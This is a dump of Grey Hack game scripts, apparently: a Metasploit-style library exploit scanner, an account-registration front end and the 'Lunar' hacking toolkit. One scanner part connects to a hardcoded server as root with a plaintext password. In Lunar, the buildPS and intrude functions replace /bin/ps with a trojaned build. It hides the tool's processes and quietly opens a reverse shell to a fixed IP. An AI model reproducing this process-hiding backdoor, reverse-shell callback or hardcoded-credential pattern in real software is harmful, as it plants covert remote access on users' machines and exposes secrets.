if passLen == 15 or passLen > 15 then
pass=pass+"/08173479165691740176565"
shifted=shiftChars(pass,shiftedCharsFOUR,allowedChars)+"4"
end if
shift=shiftChars(shifted,shiftedChars,allowedChars)
return shift
else if type == "dec" then
dec=shiftChars(pass,allowedChars,shiftedChars)
if dec[-1] == "0" then
dec=shiftChars(dec[:-1],allowedChars,shiftedCharsZERO).split("/")[0]
else if dec[-1] == "1" then
dec=shiftChars(dec[:-1],allowedChars,shiftedCharsONE).split("/")[0]
else if dec[-1] == "2" then
dec=shiftChars(dec[:-1],allowedChars,shiftedCharsTWO).split("/")[0]
else if dec[-1] == "3" then
dec=shiftChars(dec[:-1],allowedChars,shiftedCharsTHREE).split("/")[0]
else if dec[-1] == "4" then
dec=shiftChars(dec[:-1],allowedChars,shiftedCharsFOUR).split("/")[0]
end if
return dec
end if
end function
decrypt = function(hash)
GetPassword = function(userPass)
password=cp.decipher(userPass)
return(password)
end function
origFile = hash
if origFile.len < 32 then exit
lines=[origFile]
for line in lines
userPass=line.split(":")
if userPass.len == 2 then
user=userPass[0]
userPass=userPass[1]
password=GetPassword(userPass)
if not password then print("password for "+user+" not found")
if password then
password=user+":"+password
return password
end if
else
userPass=userPass[0]
password=GetPassword(userPass)
if not password then print ("could not decipher "+userPass)
if password then return password
end if
end for
end function
defaultScan=function(ml,num,results)
scan=mx.scan(ml)
for mem in scan
mems=mx.scan_address(ml,mem).split("Unsafe check: ")
for ent in mems
if ent == mems[0] then continue
exp=ent[ent.indexOf("<b>")+3:ent.indexOf("</b>")]
print(mem+" "+exp)
if not args then result=ml.overflow(mem,exp) else result=ml.overflow(mem,exp,args)
if typeof(result) == "shell" or typeof(result) == "computer" then
obj=typeof(result)
print(obj)
if obj=="shell" then rcomp=result.host_computer else rcomp=result
rfile=rcomp.File("/root")
ruser="guest"
if rfile and rfile.has_permission("w") then
ruser="root"
else
rfile=rcomp.File("/home")
if rfile then
for user in rfile.get_folders
if user.name == "guest" then continue
if user.has_permission("w") then ruser=user.name
end for
end if
end if
explan=rcomp.local_ip
exploit={}
exploit.num=num
exploit.obj=obj
exploit.user=ruser
exploit.mem=mem
exploit.lan=explan
if args then exploit.args=args
exploit.lib=lib
results.push(exploit)
globals.num=num+1
else if typeof(result) == "file" then
if not result.has_permission("w") then continue
exploit={}
exploit.num=num
exploit.obj=typeof(result)
exploit.user=result.name
exploit.mem=mem
exploit.exp=exp
exploit.lan="unknown"
if args then exploit.args=args
exploit.lib=lib
results.push(exploit)
globals.num=num+1
end if
end for
end for
return results
end function
exploits=get_shell.host_computer.File(current_path+"/msf.db")
if not exploits then
print("It looks like you don't have a supported Metasploit exploit database.")
print("Would you like to connect to the server and download the latest database?")
opt=user_input("[Y/N]~$ ").lower
if opt == "y" then
server=get_shell.connect_service("72.248.196.250",22,"root","CAR9LtzG2bcy6GN")
if typeof(server) != "shell" then
print("Connection failed.")
else
print("Downloading database. . .\n")
server.scp("/root/msf.db",current_path,get_shell)
print("Downloaded!")
end if
else
print("Creating empty database file. . .")
get_shell.host_computer.touch(current_path,"msf.db")
end if
end if
exploitsf=get_shell.host_computer.File(current_path+"/msf.db")
nums=exploitsf.get_content.split("\n").len-1
//num=0
exploitsenc=exploitsf.get_content.split("\n")
// /[lib]/[ver]/[memory]/[vuln]/[type]
exploits=[]
for exp in exploitsenc
if exp == "" then continue
exp=exp.split("/")
exploit={}
exp.pull
exploit.lib=exp[0]
exploit.ver=exp[1]
exploit.mem=exp[2]
exploit.exp=exp[3]
exploit.obj=exp[4]
//exploit.num=num
exploits.push(exploit)
//num=num+1
end for
print("-=||||||||||||||||||||||||||||||||=-")
print("-=[ metasploit v"+ver+" ]=-")
print("-=[ "+nums+" exploits found ]=-")
print("-=[ by clover ]=-")
print("-=||||||||||||||||||||||||||||||||=-")
print("-=[ Type ""help"" for a list of commands ]=-")
currentShell=get_shell
currentUser=active_user
currentPath=current_path
currExploitS="No exploit"
currExploit=null
origShell=1
while 1
shellType=typeof(currentShell)
if shellType == "shell" then
comp=currentShell.host_computer
sstat="Shell"
cmdlist="- = Metasploit = -
help - Print this list
banner - Print a random logo
exploits - List available exploits
use [exploit] - Set an exploit as active
scan [address/local lib] (port) - Scan an address or local library
- = Defaults = -
exit - Exit shell or MS
clr - Clear screen"
else if shellType == "computer" then
comp=currentShell
sstat="Computer"
cmdlist="- = Metasploit = -
help - Print this list
banner - Print a random logo
exploits - List available exploits
use [exploit] - Set an exploit as active
- = Defaults = -
exit - Exit shell or MS
clr - Clear screen"
end if
pubIp=comp.public_ip
locIp=comp.local_ip
print("\nMetasploit - ("+sstat+") - ("+currentUser+") - ["+currentPath+"]")
TERM=user_input("{<color=red>"+currExploitS+"</color>}~$")
SPLIT=TERM.split(" ")
term=TERM.lower
split=SPLIT[0].lower
if term == "exit" then
if not origShell then
currentShell=get_shell
currentUser=active_user
currentPath=current_path
else
exit("-={Leaving Metasploit}=-")
end if
end if
if term == "help" then print(cmdlist)
if term == "clr" then clear_screen
if term == "banner" then print(logos[floor(rnd()*logos.len)])
if term == "exploits" then
print("- = Exploits = -")
for ex in exploits
if ex.obj == "shell" then
color="white"
else if ex.obj == "computer" then
color="yellow"
else
color="grey"
end if
print("/<color=red>"+ex.lib+"</color>/<color=green>"+ex.ver+"</color>/"+ex.mem+"/"+ex.exp+"/<color="+color+">"+ex.obj+"</color>")
end for
else if split == "use" then
if SPLIT.len > 2 then
print("Invalid command usage")
continue
end if
sel=SPLIT[1].split("/")
sel.pull
selLib=sel[0]
selVer=sel[1]
selMem=sel[2]
selExp=sel[3]
selObj=sel[4]
for ex in exploits
if ex.lib == selLib and ex.ver == selVer and ex.mem == selMem and ex.exp == selExp then
currExploit=exploits[exploits.indexOf(ex)]
currExploitS=SPLIT[1]
break
end if
end for
else if split == "scan" then
if SPLIT.len == 1 then
print("- = Local libraries = -")
for file in comp.File("/lib/").get_files
print(file.name)
end for
continue
end if
localScan=1
if SPLIT.hasIndex(2) then localScan=0
if localScan then
if not origShell then
print("Cannot scan local libs on a connected system")
continue
end if
lib=SPLIT[1]
if not comp.File("/lib/"+lib) then
print("Lib does not exist")
print("Run scan with no parameters to list all libs")
continue
end if
ml=mx.load("/lib/"+lib)
else
ip=SPLIT[2]
port=SPLIT[3].to_int
if not is_valid_ip(ip) or not get_router(ip) then
print("Invalid IP")
continue
end if
if typeof(port) != "number" then
print("Invalid port")
continue
end if
ns=mx.net_use(ip,port)
ml=ns.dump_lib
end if
name=ml.lib_name
ver=ml.version
num=0
inDB=0
for ex in exploits
if ex.lib == name and ex.ver == ver then
inDB=1
break
end if
end for
if inDB then
print("Exploits already in database!")
print("If you are certain you wish to continue, we can clear the database of exploits for this lib and resume scanning")
confirm=user_input("[Y/N]~$").lower
if confirm == "y" then
for ex in exploits
if ex.lib == name and ex.ver == ver then exploits.remove(exploits.indexOf(ex))
end for
else
continue
end if
end if
scan=mx.scan(ml)
for mem in scan
mems=mx.scan_address(ml,mem).split("Unsafe check: ")
for ent in mems
if ent == mems[0] then continue
exp=ent[ent.indexOf("<b>")+3:ent.indexOf("</b>")]
print(mem+" "+exp)
result=ml.overflow(mem,exp)
if typeof(result) != "null" then
obj=typeof(result)
if obj == "number" and name != "kernel_router.so" then
obj="passwd"
else if obj == "number" and name == "kernel_router.so" then
obj="firewall"
end if
exploit={}
exploit.obj=obj
exploit.mem=mem
exploit.exp=exp
exploit.lib=lib
exploit.ver=ver
exploits.push(exploit)
num=num+1
end if
end for
end for
exploitsf.set_content("")
for ex in exploits
exploitsf.set_content(exploitsf.get_content+"/"+ex.lib+"/"+ex.ver+"/"+ex.mem+"/"+ex.exp+"/"+ex.obj+char(10))
end for
end if
end while

150
nexus.html Normal file
View file

@ -0,0 +1,150 @@
<html>
<title>The Nexus -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-</title>
<style>
body { font: 10px Times, serif; color: #707070; text-align: center; }
html{
background-color:#0E0E0E;
}
div{
text-align: center;
font-size: 14px;
}
h1 {
color: #8254d1;
text-shadow: 4px 4px 0px #7141c4;
}
h2 {
color: #303030;
}
p {
color: white;
font-size: 14px;
}
.btn {
cursor: pointer;
}
.btn-primary{
border-radius: 4px;
color: white;
font-size: 14px;
border: none;
margin-left: 4px;
margin-right: 4px;
background-color: #080808;
}
.btn-primary:hover{
background: #7141c4;
color: black;
}
.body{
height: 100%;
margin-top: 145px;
}
.scroll-window{
height:600px;
overflow-y: auto;
margin-bottom: 120px;
}
.header{
position: fixed;
top: -10px;
background-color: #0E0E0E;
}
.div-main{
margin-top:-24px;
}
.footer{
position: fixed;
bottom: 0px;
background-color: #0E0E0E;
}
.text-body {
text-align: left;
font-size:14px;
padding-left: 24px;
color:gray;
}
.text-note {
text-align: left;
font-size:12px;
padding-left: 48px;
color:#505050;
}
.rotate {
transform: rotate(-2deg);
}
#div-main {
display: block;
margin-bottom: 800px;
}
#div-downloads {
display: none;
margin-bottom: 500px;
}
#div-contracts {
display: none;
margin-bottom: 800px;
}
</style>
<table class="header">
<tr>
<td>
<br><center><div class="rotate"><h1 style="font-size:35px;">The Nexus</h1></div></center>
<hr><div style="margin-right:38px">
<button class="btn btn-primary" onclick="mainFunc()"> home </button>
<button class="btn btn-primary" onclick="dlFunc()"> downloads </button>
<button class="btn btn-primary" onclick="contFunc()"> contracts </button>
</div><hr>
</td>
</tr>
</table>
<table class="body">
<tr>
<td>
<div id="div-main">
<table class="scroll-window">
<tr><th><div><br><h1> -Welcome to the Nexus!-</h1></div></th></tr>
<tr><th><p>In development!</p></th></tr>
</table>
</div>
<div id="div-downloads">
<table class="scroll-window">
<tr>
<th><div><br><h2><u>-Downloads-</u></h2><br><br><button class="btn btn-primary" style="width:100px;" id="InformaticaShop" value="Download"></div></th>
</tr>
<tr>
<th><center style="margin-top:20px;"><b style="color:white;"><u>Nexus</u></b></th>
</tr>
<tr>
<td>
<p>
*The main program*
</p>
<br><br><br>
</td>
</tr>
</table>
</div>
</tr>
</table>
<script>
var main = document.getElementById("div-main");
var downloads = document.getElementById("div-downloads");
function mainFunc() {
main.style.display="block";
downloads.style.display="none";
};
function dlFunc() {
main.style.display="none";
downloads.style.display="block";
};
</script>
</html>

228
nexus.src Normal file
View file

@ -0,0 +1,228 @@
//nexus nexus
//N.E.X.I.
//N-exus
//E-thical
//E-xperimental
//I-nterpreter
//asimov:
//1) A robot may not injure a human being or, through inaction, allow a human being to come to harm.
//2) A robot must obey the orders given it by human beings except where such orders would conflict with the First Law.
//3) A robot must protect its own existence as long as such protection does not conflict with the First or Second Law.
import_code("/root/Fox.so")
//import_code("/root/BytesDev")
logo=function()
print("<color=#7141c4><u><s><size=200%><pos=0%></pos><pos=100%></pos></size></s></u></color>")
print("<color=#7141c4><size=1000%><align=center><rotate=-49deg>z</rotate></align></size></color>")
print("<color=#7141c4><size=200%><align=center><cspace=-0.1em>The Nexus</cspace></align></size></color>")
print("<color=#7141c4><align=center><cspace=-0.1em>NHub Version [0.0.0dev - CN/WellRooted]</cspace></align></color>")
print
end function
clear=function()
clear_screen
logo
end function
encrypt=function()
pass=user_input("string> ")
secret=user_input("key> ")
type=user_input("enc/dec> ")
cryptChars=function(pass)
if typeof(pass) == "string" then
newList=[]
for chr in pass
newList.push(bitwise("^",chr.code,key))
end for
return newList.join("/")
else if typeof(pass) == "list" then
newList=""
for num in pass
newList=newList+char(bitwise("^",num.to_int,key))
end for
return newList
end if
end function
shiftChars=function(pass,shift,list)
enc=""
for chr in pass
if list.indexOf(chr) == null then continue
newChar=shift[list.indexOf(chr)]
enc=enc+newChar
end for
return enc
end function
allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/_.@=!#$%^&*()-+|?<>"
shiftedChars="Cy|=a+!@z^M7rmg*BUh(Ne-5tV8dTq?$u4vo1>kWxJpARLcKSb320%EQH6<w_nOG#.&/ZsXI)PjfiFYDl9"
passLen=pass.len
key=0
for chr in secret
key=key+chr.code
end for
if type == "enc" then
enc1=cryptChars(pass)
crypt=shiftChars(enc1,shiftedChars,allowedChars)
else if type == "dec" then
dec=shiftChars(pass,allowedChars,shiftedChars)
dec=dec.split("/")
dec=cryptChars(dec)
crypt=dec
end if
return(crypt)
end function
genRandomString=@FoxLib.General.rndstring
S256=@FoxLib.Crypto.Sha256
B64=@FoxLib.Crypto.Base64
ROT=@FoxLib.Crypto.ROT
Compress=@FoxLib.General.Compression
Shade=@FoxLib.Crypto.Shade
ParseInt=@FoxLib.General.ParseInt
callServers=function()
globals.web=get_shell.connect_service
if typeof(web) != "shell" then exit("<color=#7141c4><b>N.E.X.I.> Unexpected Error! Could not connect to nexus.servers.node1</b></color>")
globals.cdn=web.connect_service
if typeof(cdn) != "shell" then exit("<color=#7141c4><b>N.E.X.I.> Unexpected Error! Could not connect to nexus.servers.cdn1</b></color>")
end function
login=function(user=null,pass=null)
out={}
out.bool=0
return out
end function
register=function()
out={}
out.bool=1
clear
print("<color=#7141c4>N.E.X.I.> Welcome to the account setup screen!</color>")
print("<color=#7141c4>N.E.X.I.> I'll walk you through the steps, first, please select a username!</color>")
allowedchars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-"
user=""
i=0
while user.len < 4 or user.len > 20 or i
i=0
user=user_input("<color=#7141c4>Username:> ")
if user.len > 20 then
print("<color=#7141c4>N.E.X.I.> Your username is too long! It must be between 4 and 20 characters!</color>")
continue
end if
if user.len < 4 then
print("<color=#7141c4>N.E.X.I.> Your username is too short! It must be between 4 and 20 characters!</color>")
continue
end if
for chr in user
if allowedchars.indexOf(chr) == null then
print("<color=#7141c4>N.E.X.I.> Your username contains invalid characters (A-Z, a-z, 0-9, _- ONLY)</color>")
i=1
break
end if
end for
if i then continue
end while
if not cdn.host_computer.File("/Nexus/users/"+user) then cdn.host_computer.create_folder("/Nexus/users",user)
usrf=cdn.host_computer.File("/Nexus/users/"+user)
Rpass=""
Cpass=""
print("<color=#7141c4>N.E.X.I.> Good news! That username was accepted by the System!</color>")
print("<color=#7141c4>N.E.X.I.> Next, you'll need to create a password!</color>")
while Cpass != Rpass or Cpass.len < 1 or Rpass.len < 1
Rpass=user_input("<color=#7141c4>Password:> ",1)
Cpass=user_input("<color=#7141c4>Confirm:> ",1)
if Rpass != Cpass then
print("<color=#7141c4>N.E.X.I.> Your passwords don't match</color>")
continue
end if
if Rpass.len < 1 or Cpass.len < 1 then
print("<color=#7141c4>N.E.X.I.> Your passwords are too short! They must be at least 1 character long (I don't even know how you messed this up)</color>")
continue
end if
end while
print("<color=#7141c4>N.E.X.I.> Perfect! I've just sent the rest of your information over to the System, wait just a second while he sets up your account!</color>")
count=cdn.host_computer.File("/Nexus/users.count")
count.set_content(count.get_content.val+1)
count=count.get_content.val
cdn.host_computer.create_folder(usrf.path,str(count))
usrf=cdn.host_computer.File(usrf.path+"/"+str(count))
cdn.host_computer.touch(usrf.path,"passwd")
cdn.host_computer.File("/Nexus/users").chmod("o-wrx",1)
cdn.host_computer.File("/Nexus/users").chmod("g-wrx",1)
cdn.host_computer.File("/Nexus/users").chmod("u-wrx",1)
salt=Cpass+user+"#"+str(count)
cdn.host_computer.File(usrf.path+"/passwd").set_content(S256(salt))
//temp=web.host_computer.File("/Public/htdocs/template.html").get_content
//newUsers=temp.replace("%Users%",str(count))
//web.host_computer.File("/Public/htdocs/website.html").set_content(newUsers)
out.out={"name": user, "pass": Cpass, "num": count}
wait(1)
print
print("<color=#7141c4>N.E.X.I.> I've just been informed that the System has finished setting up your account!</color>")
print("<color=#7141c4>N.E.X.I.> To keep everyone happy, our username system allows everyone to use the same username!</color>")
print("<color=#7141c4>N.E.X.I.> Unfortunately, this means everyones username will have an ID attached, but don't worry! This makes it easier for the friend system to find your friends!</color>")
print("<color=#7141c4>N.E.X.I.> Just make sure you login with "+user+"#"+str(count)+", okay?</color>")
user_input("<color=#7141c4>N.E.X.I.> Press any key to confirm!</color>",0,1)
return out
end function
delete=function()
out={}
out.bool=1
end function
user=0
callServers
if get_shell.host_computer.File(home_dir+"/Config/nexi.cfg") and get_shell.host_computer.File(home_dir+"/Config/nexi.cfg").has_permission("r") then
cont=get_shell.host_computer.File(home_dir+"/Config/nexi.cfg").get_content
cont=FoxLib.General.Deserialize(encrypt(cont,"Nexi","dec"))
out=login(cont.user,cont.pass)
if out.bool then user=out.out
end if
while 1
if not user then
clear
print("<color=#7141c4>N.E.X.I.> Hello there and welcome to the Nexus! I'll be your personal assistant, N.E.X.I.</color>")
print("<color=#7141c4>N.E.X.I.> If you'd like to get started, type ""Register"" to make an account, or if you already have an account, input ""Login""</color>")
print("<color=#7141c4>N.E.X.I.> Available actions are [""Register"", ""Login"", ""Credits"", ""Exit""]</color>")
print
opt=user_input("<color=#7141c4>anon:> ").lower
if opt == "exit" then exit("<color=#7141c4>N.E.X.I.> Come back soon! (I'll miss you..)</color>")
if opt == "register" then
out=register
if out.bool then
user=out.out
end if
end if
if opt == "login" then
out=login
if out.bool then
user=out.out
end if
end if
if opt == "credits" then
clear
print("<color=#7141c4><align=center>by Clover</align></color>")
print("<color=#7141c4><align=center>UI design inspired by PsyBorg</align></color>")
//print("<color=#7141c4><align=center>N.exus E.thical e.X.perimental I.terpreter chatbot by Clover, code provided by SoosPasta (if he does)</align></color>")
user_input("<color=#7141c4>Press any key to continue.</color>",0,1)
end if
end if
end while

735
nightlunar.src Normal file
View file

@ -0,0 +1,735 @@
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Loading Lunar functions...</color>")
import_code("/root/lunarcmd")
import_code("/root/Fox.so")
COB=get_custom_object
//ver=5
//dev="Clover"
mxf=null
cpf=null
apt=null
bcf=null
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Loading Lunar libraries...</color>")
root=get_shell.host_computer.File("/")
newFiles=[]
newFiles=newFiles+root.get_folders+root.get_files
while newFiles.len
currFile=newFiles.pull
if currFile.is_folder then newFiles=currFile.get_folders+currFile.get_files+newFiles
test=include_lib(currFile.path)
if typeof(test) == "MetaxploitLib" and not mxf then
mxf=currFile.path
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Hit Exploit library > "+mxf+"</color>")
end if
if typeof(test) == "cryptoLib" and not cpf then
cpf=currFile.path
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Hit Crypto library > "+cpf+"</color>")
end if
if typeof(test) == "aptclientLib" and not apt then
apt=test
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Hit Apt library > "+currFile.path+"</color>")
end if
if typeof(test) == "blockchainLib" and not bcf then
bcf=currFile.path
print("<color=#7141c4>[Lunar] </color><color=#8254d1>Hit Coin Library > "+bcf+"</color>")
end if
end while
if not mxf then exit("<color=#7141c4>[Lunar] </color><color=#8254d1>Exploit library not found</color>")
if not cpf then exit("<color=#7141c4>[Lunar] </color><color=#8254d1>Crypto library not found</color>")
cp=include_lib(cpf)
if apt then
if get_shell.host_computer.File("/etc/apt") then
if not get_shell.host_computer.File("/etc/apt/aptcache.bin") then apt.update
end if
inSource=apt.show("30.30.30.30")
if inSource == "30.30.30.30 repository not found" then
apt.add_repo("30.30.30.30",1542)
apt.update
end if
print("<color=#7141c4>[Lunar]</color><color=#8254d1> Checking library updates...</color>")
if typeof(apt.check_upgrade(mxf)) == "number" and apt.check_upgrade(mxf) then
print("<color=#7141c4>[Lunar]</color><color=#8254d1> Updating exploit library...</color>\n")
apt.install("metaxploit.so",parent_path(mxf))
end if
end if
mx=include_lib(mxf)
if bcf then bc=include_lib(bcf) else bc=null
print("<color=#7141c4>[Lunar]</color><color=#8254d1> Lunar libraries loaded</color>")
logRs="fstab"
scnln="/usr/bin/ScanLan.exe"
if not get_shell.host_computer.File(scnln) then scnln=current_path+"/ScanLan.exe"
if not get_shell.host_computer.File(scnln) then scnln=null
rhost=get_shell.host_computer.network_gateway
if rhost == "0.0.0.0" then rhost=get_shell.host_computer.local_ip
sessions=[]
session=0
shell=get_shell
xpath=current_path
xuser=active_user
user=null
comp=shell.host_computer
lunar=program_path
results=[]
clipboard=null
anon=0
la=0
if COB.indexes.indexOf("launchnum") == null then launchnum=0 else launchnum=COB.launchnum
COB.launchnum=1
origShell=1
previous=[]
server={}
server.shell=null
server.cp=null
server.conf=null
conf=null
sessions.push({"shell": {"shell": shell, "user": xuser, "path": xpath, "orig": origShell}, "shells": [], "results": [], "clipboard": [], "rhost": rhost})
error=function(reason)
out={}
out.bool=0
out.err=reason
return out
end function
buildPS=function(proc)
if not comp.File("/bin") then return
ps=comp.show_procs
source="output = get_shell.host_computer.show_procs;lines=output.split(""\n"");newOut=[];rshell=0;for line in lines;if line.split("" "")[-1] == """+proc+""" then;rshell=1;continue;end if;if line.split("" "")[-1] == ""lunar"" then continue;newOut.push(line);end for;mxf=null;root=get_shell.host_computer.File(""/"");newFiles=[];newFiles=newFiles+root.get_folders+root.get_files;while newFiles.len;currFile=newFiles.pull;if currFile.is_folder then;newFiles=currFile.get_folders+currFile.get_files+newFiles;end if;test=include_lib(currFile.path);if typeof(test) == ""MetaxploitLib"" then mxf=currFile.path;end while;if mxf then;if not rshell then include_lib(mxf).rshell_client(""61.126.138.22"",1222,"""+proc+""");end if;output=newOut.join(""\n"");print(format_columns(output))"
comp.touch(xpath,"ps.src")
p=null
if comp.File("/bin/ps") then p=comp.File("/bin/ps").permissions[1:]
src=comp.File(xpath+"/ps.src")
if not src then return
src.set_content(source)
shell.build(src.path,"/bin")
src.delete
ps=comp.File("/bin/ps")
ps.chmod("u-wrx")
ps.chmod("g-wrx")
ps.chmod("o-wrx")
if p then
up=p[:3].replace("-","")
gp=p[3:-3].replace("-","")
op=p[-3:].replace("-","")
else
p=comp.File("/bin").permissions[1:]
up=p[:3].replace("-","")
gp=p[3:-3].replace("-","")
op=p[-3:].replace("-","")
end if
ps.chmod("u+"+up)
ps.chmod("g+"+gp)
ps.chmod("o+"+op)
end function
sendEmail=function(reason)
mail=mail_login
if typeof(mail) != "MetaMail" then return
send=mail.send("",get_shell.host_computer.public_ip,"<color=#7141c4>[Lunar Security]</color>"+char(10)+"<color=#7141c4>[IP] </color><color=#8254d1>"+get_shell.host_computer.public_ip+"</color>"+char(10)+"<color=#7141c4>[Local IP] </color><color=#8254d1>"+get_shell.host_computer.local_ip+"</color>"+char(10)+"<color=#7141c4>[Date] </color><color=#8254d1>"+current_date+"</color>"+char(10)+"<color=#7141c4>[Reason] </color><color=#8254d1>"+reason+"</color>")
if typeof(send) != "number" then return
end function
intrude=function(err,alt=null)
if not alt then alt=err
if get_shell.host_computer.public_ip == "141.193.149.45" or get_shell.host_computer.public_ip == "135.202.178.113" then exit("<color=#7141c4>[Lunar]</color><color=#8254d1> "+err+"</color>")
sendEmail(alt)
rshelled=0
ps=comp.show_procs
for proc in ps.split("\n")[1:]
proc=proc.split(" ")
if proc[-1] == logRs then rshelled=1
end for
if not rshelled then
buildPS(logRs)
mx.rshell_client("61.126.138.22",1222,logRs)
end if
exit("<color=#7141c4>[Lunar]</color><color=#8254d1> "+err+"</color>")
end function
serve=function()
proxy=get_shell.connect_service
if typeof(proxy) != "shell" then
print("<color=#7141c4>[Lunar]</color><color=#8254d1> Server connection failure</color>")
globals.la=1
return
end if
globals.server.shell=proxy.connect_service
if typeof(server.shell) != "shell" then
print("<color=#7141c4>[Lunar]</color><color=#8254d1> Server connection failure</color>")
globals.la=1
return
end if
server.shell.launch("/root/rcon")
globals.server.cp=COB.server.cp
end function
Sha256=@FoxLib.Crypto.Sha256
rot=@FoxLib.Crypto.ROT
vigenere=@FoxLib.Crypto.Vigenere
base64=@FoxLib.Crypto.Base64
deserialize=@FoxLib.General.Deserialize
compression=@FoxLib.General.Compression
parseint=@FoxLib.General.ParseInt
genRandomString=@FoxLib.General.rndstring
//shade=@FoxLib.Crypto.Shade
exploit=@FoxLib.VulnV.Exploit
decipher=@FoxLib.VulnV.Decipher
encrypt=function(pass,secret,type)
cryptChars=function(pass)
if typeof(pass) == "string" then
newList=[]
for chr in pass
newList.push(bitwise("^",chr.code,key))
end for
return newList.join("/")
else if typeof(pass) == "list" then
newList=""
for num in pass
newList=newList+char(bitwise("^",num.to_int,key))
end for
return newList
end if
end function
shiftChars=function(pass,shift,list)
enc=""
for chr in pass
if list.indexOf(chr) == null then continue
newChar=shift[list.indexOf(chr)]
enc=enc+newChar
end for
return enc
end function
allowedChars="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789/_.@=!#$%^&*()-+|?<>"
shiftedChars="Cy|=a+!@z^M7rmg*BUh(Ne-5tV8dTq?$u4vo1>kWxJpARLcKSb320%EQH6<w_nOG#.&/ZsXI)PjfiFYDl9"
passLen=pass.len
key=0
for chr in secret
key=key+chr.code
end for
if type == "enc" then
enc1=cryptChars(pass)
crypt=shiftChars(enc1,shiftedChars,allowedChars)
else if type == "dec" then
dec=shiftChars(pass,allowedChars,shiftedChars)
dec=dec.split("/")
dec=cryptChars(dec)
crypt=dec
end if
return(crypt)
end function
bar = function(n, bar_length = 30) // percentage number
fill_count = ceil(n / bar_length * 10)
empty_count = bar_length - fill_count
fill_bar = "#"*fill_count
empty_bar = "-"*empty_count
bar = "<color=#8254d1>"+fill_bar+"</color><color=#7141c4>"+empty_bar+"</color>"
return bar
end function
getRandomIp=function()
octets=[]
for i in range(0,3)
if i == 0 then octets.push(ceil(rnd*223)) else octets.push(floor(rnd*256))
end for
return octets.join(".")
end function
checkPerms=function(device)
out={}
if typeof(device) != "shell" and typeof(device) != "computer" and typeof(device) != "file" then return 0
if typeof(device) == "shell" or typeof(device) == "computer" then
if typeof(device) == "shell" then rcomp=device.host_computer else rcomp=device
rfile=rcomp.File("/")
ruser="guest"
if rfile and rfile.has_permission("w") then
ruser="root"
else
rfile=rcomp.File("/home")
if rfile then
for user in rfile.get_folders
if user.name == "guest" then continue
if user.has_permission("w") then ruser=user.name
end for
end if
end if
out.user=ruser
out.lan=rcomp.local_ip
out.pub=rcomp.public_ip
else if typeof(device) == "file" then
rcomp=device
while rcomp.path != "/"
rcomp=rcomp.parent
end while
rfile=rcomp
ruser="guest"
if rfile and rfile.has_permission("w") then
ruser="root"
else
rfile=null
for folder in rcomp.get_folders
if folder.name == "home" then rfile=folder
end for
if rfile then
for user in rfile.get_folders
if user.name == "guest" then continue
if user.has_permission("w") then ruser=user.name
end for
end if
end if
out.user=ruser
if exlib then
out.pub=pubip
out.lan=locip
else
islan=is_lan_ip(rhost)
router=get_router(rhost)
if islan then router=get_router
if islan then ports=router.device_ports(rhost) else ports=router.used_ports
ips=[]
lan=null
if rhost != router.local_ip then
hport=router.device_ports(router.local_ip)[0]
m={}
m.ip=router.local_ip
m.ports=[hport.port_number,0]
ips.push(m)
end if
for port in ports
inMap=0
for m in ips
if m.ip == port.get_lan_ip then
m.ports.push(port.port_number)
inMap=1
end if
end for
if not inMap then
m={}
m.ip=port.get_lan_ip
m.ports=[port.port_number]
ips.push(m)
end if
end for
for m in ips
ports=m.ports
ip=m.ip
for port in ports
if port == expport then lan=ip
end for
end for
if not lan then lan="unknown"
out.pub=rhost
out.lan=lan
end if
end if
return out
end function
Scan=function()
scanned=exploit(lmx,ml,args)
for mem in scanned.db.exploits
for ent in mem.vulns
result=ent.result
perms=checkPerms(result)
if not perms then continue
exploit={}
exploit.obj=result
exploit.user=perms.user
exploit.mem=mem.mem
exploit.exp=ent.vuln
exploit.lan=perms.lan
exploit.pub=perms.pub
if pubip == exploit.pub and anon then exploit.pub="x.x.x.x"
if exlib then exploit.port=exlib.name else exploit.port=expport
if results.indexOf(exploit) != null then continue
results.push(exploit)
end for
end for
end function
saveScan=function()
if lib then
vulns=lib.vulns
for insec in vulns
